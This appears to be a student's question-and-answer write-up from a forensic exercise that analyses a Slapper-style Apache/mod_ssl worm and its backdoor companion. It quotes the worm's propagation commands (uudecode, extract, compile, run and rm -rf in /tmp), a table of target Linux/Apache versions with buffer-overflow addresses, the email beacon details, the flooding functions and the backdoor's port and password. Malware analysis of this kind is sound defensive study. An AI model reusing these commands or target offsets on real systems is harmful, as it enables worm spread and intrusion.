-
Which is the type of the .unlock file? When was it generated?
The file type is tar.gz (gzip file) which was created on the Sep 20 11:59 with a file size of 81920
-
Based on the source code, who is the author of this worm?
The comments at the top of the .unlock.c file tell us that the original code was developed by someone describing themselves as contem@efnet. This was then Updated by aion, whos email address is show as aion@ukr.net, to include the amendments he required
-
When it was created?
The date unlock.c was created is Sep 20th at 14:28 with a size of 70981 bytes.
.update.c was created on the 19th September at 22:57, the file size is 2792
-
Is it compatible with the date from question 1?
Yes, it is compatible as the files were created on 19th and 20th of september and they were then zipped on 20th at 11.59.
-
Which process name is used by the worm when it is running?
at the top of the c file the variables are defined, one of the variables defined is PSNAME
Line 78 : #define PSNAME "httpd "
This is the process that the worm uses when it is running.
This can be further proved as the code does a strcpy(argv[0],PSNAME); just after the process has forked.
-
In which format the worm copies itself to the new infected machine?
The worm copies the data by uuencoding the file. UUencoding is refered to in numerous positions through out the file, the first being the declaration of the UUHEAD variable.
line 80 :#define UUHEAD "begin 655 .unlock\n")
Other references can be found on the following lines:
line 1200 (writem(a,UUHEAD);)
This is the first time this variable is used. The above line is used to write the start of the uuencoded file to the socket.
Line 1422: writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; "
This is where the uuencoded file is decoded and the and the files contained within the uuencoded gzip file are then compiled and run. Once these have been compiled, the uuencoded file (along with some others) are deleted from the hard drive.
-
Which files are created in the whole process?
The files created in the process of decoding / extracting / compiling the code are :
/tmp/.unlock.uu (uuencoded file created when line 1200- are called)
/tmp/.unlock (file after decoding - this is a gzipped file)
/tmp/httpd (this is the compiled version of the .unlock.c source code)
/tmp/update (this is the compiled version of the .update.c file)
This is proved by lines 1422 - 1427
Line 1422 writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu;" // This is where the file is unencoded
Line 1423 "tar xzf /tmp/.unlock -C /tmp/;" //Here the files are then extracted from the tarball
Line 1424 "gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; " // The httpd executable is created by compiling the .unlock.c (dynamically linking to the crypto library)
Line 1425 "gcc -o /tmp/update /tmp/.update.c;\n"); // The update source is then compiled
Line 1426 sprintf(rcv, "/tmp/httpd %s; /tmp/update; \n",localip); // Executes the httpd cmd line (using the local ip) and then runs update straight after
Line 1427 writem(sockfd,rcv);
-
After the worm executes itself, wich files remain on the infected machine?
Only the .unlock (the tar.gz file) remains afterwards as the other files are deleted by the lines 1429 & 1430 after running lines 1422 to 1427 shown above.
1429 writem(sockfd,"rm -rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
1430 " /tmp/httpd /tmp/update; exit; \n");
-
Which port is scanned by the worm?
The Port scanned by the work is port 80 (http) as the exploit is looking for vulnerable apache servers which commonly run on this port. This port is stored within the variable SCANPORT declared on line 67 (#define SCANPORT 80), and is checked to see if the port is available by carrying out a TCP SYN connect attempt.
Line 1926: atcp_sync_connect(&clients[n],srv,SCANPORT);
-
Which vulnerability the worm tries to exploit?
The vulnerability this worm tries to exploit is the Apache/mod_ssl exploit (CERTŪ Advisory CA-2002-27 - http://www.cert.org/advisories/CA-2002-27.html), although this is a modified version of the original (elf_slapper.a) release code. It attempts to buffer overflow the following versions of OpenSSL
0.9.6d and earlier
0.9.7-beta2 and earlier versions.
This can be proved as the code of the vulnerables os/versions is exactly the same as in the sample code found on packetstormsecurity site. Also, the line used to compile the httpd file is the same as the original article on packetstorm, the only difference being the name of the file it produces and the file to be compiled.
Packetstorm compile line : gcc -o apache-ex apache.ex.c -lcrypto
Line 1424 of .unlock.c : gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto
The comments within the packetstorm code also state "Adapted after a apache worm by contem@efnet" which is the author of the original version of the .unlock.c file as shown in the comments at the top of the file.
-
In which architectures?
The worm infects the linux operating systems on the intel architectures as described in the Cert advisory and backed up by the lines 1246 to 1268 which details the operating system, the apache version and the address of the buffer to overflow.
Line number "Os name" "apache version" "Address"
1246 "Gentoo" "", 0x08086c34
1247 "Debian", "1.3.26", 0x080863cc
1248 "Red-Hat", "1.3.6", 0x080707ec
1249 "Red-Hat", "1.3.9", 0x0808ccc4
1250 "Red-Hat", "1.3.12", 0x0808f614
1251 "Red-Hat", "1.3.12", 0x0809251c
1252 "Red-Hat", "1.3.19", 0x0809af8c
1253 "Red-Hat", "1.3.20", 0x080994d4
1254 "Red-Hat", "1.3.26", 0x08161c14
1255 "Red-Hat", "1.3.23", 0x0808528c
1256 "Red-Hat", "1.3.22", 0x0808400c
1257 "SuSE", "1.3.12", 0x0809f54c
1258 "SuSE", "1.3.17", 0x08099984
1259 "SuSE", "1.3.19", 0x08099ec8
1260 "SuSE", "1.3.20", 0x08099da8
1261 "SuSE", "1.3.23", 0x08086168
1262 "SuSE", "1.3.23", 0x080861c8
1263 "Mandrake", "1.3.14", 0x0809d6c4
1264 "Mandrake", "1.3.19", 0x0809ea98
1265 "Mandrake", "1.3.20", 0x0809e97c
1266 "Mandrake", "1.3.23", 0x08086580
1267 "Slackware","1.3.26", 0x083d37fc
1268 "Slackware","1.3.26", 0x080b2100
-
What kind of information is sent by the worm by email?
The email section is a new section created by Aion and occupies lines 76 to 130. This function basically creates an email by talking directly to the mail server, running on port 25, on the compromised machine. the following details are sent to Aion:
helo test - opens a connection to the mail server (line 76: MAILSRV = "freemail.ukr.net")
mail from: test@microsoft.com - spoof the from address of the sender
rcpt to: MAILTO - Informs the mail server to send the email to this address once complete
data - Starts the body / data content of the email
hostid: %d - Inserts the id of the host system
host-name:%s - Inserts the name of the host system
att_from: -
quit - informs the mail server the mail has been completed and can be sent
-
To which account?
The email gets sent to the address which is stored in the MAILTO variable. The address is aion@ukr.net is stored in this variable on line 77 of .unlock.c.
-
Which port (and protocol) is used by the worm to communicate to other infected machines?
The port is set to 4156 and allocated to the PORT variable on line 66. The protocol used to communicate with the other machines is UDP. This is intentional as UDP allows connections even to unstable machines, since it does not require error-checking.
-
Name 3 functionalities built in the worm to attack other networks.
The worm has a number of functions (two of these are to cater for ipv4 and ipv6 differences). This code resides between lines 2208 and 2388. The full functionality of the worms attacks are :
ip6 (Line 2282) / ipv4 tcp flooding (line 2249)
ipv4 udp flooding (line 2208)
dns flooding (Line 2331)
-
What is the purpose of the .update.c program?
The purpose of the update.c program is to open a remote interactive root shell on the compromised system. This shell requires a password to be provided and can be found on line 5 of the update.c file (#define PASS "aion1981")
-
Which port does it use?
The port used is 1052 as defined on line 4 in the code.
-
Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?
"Sleeptime" is a variable used within the update.c file to store the amount of time the computer must wait before another connection attempt is allowed, which in this case is 5 minutes.After closing a connection it will sleep for 5 minutes, possibly to prevent flooding the box with attacks, so remaining lightly stealthier. Another benefit is the port isn't always open this way.
"Uptime" is used to make the process listen for 10 secs. The loop will loop for the number of seconds specified at the most, but it also sleeps for 1 second on each loop. This would give a theoretical maximum of 10 attempts if you typed fast and had a good connection.
References Used For Creating This Summary
|
